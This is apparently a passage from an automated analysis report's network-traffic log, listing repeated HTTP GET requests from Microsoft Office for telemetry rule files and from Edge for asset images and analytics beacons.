Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /b?rn=1731389013838&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=39559DFC669A689A222688C967CD69C0&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /b2?rn=1731389013838&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=39559DFC669A689A222688C967CD69C0&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: UID=15546d9e7161bb1576cd54f1731389016; XID=15546d9e7161bb1576cd54f1731389016
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
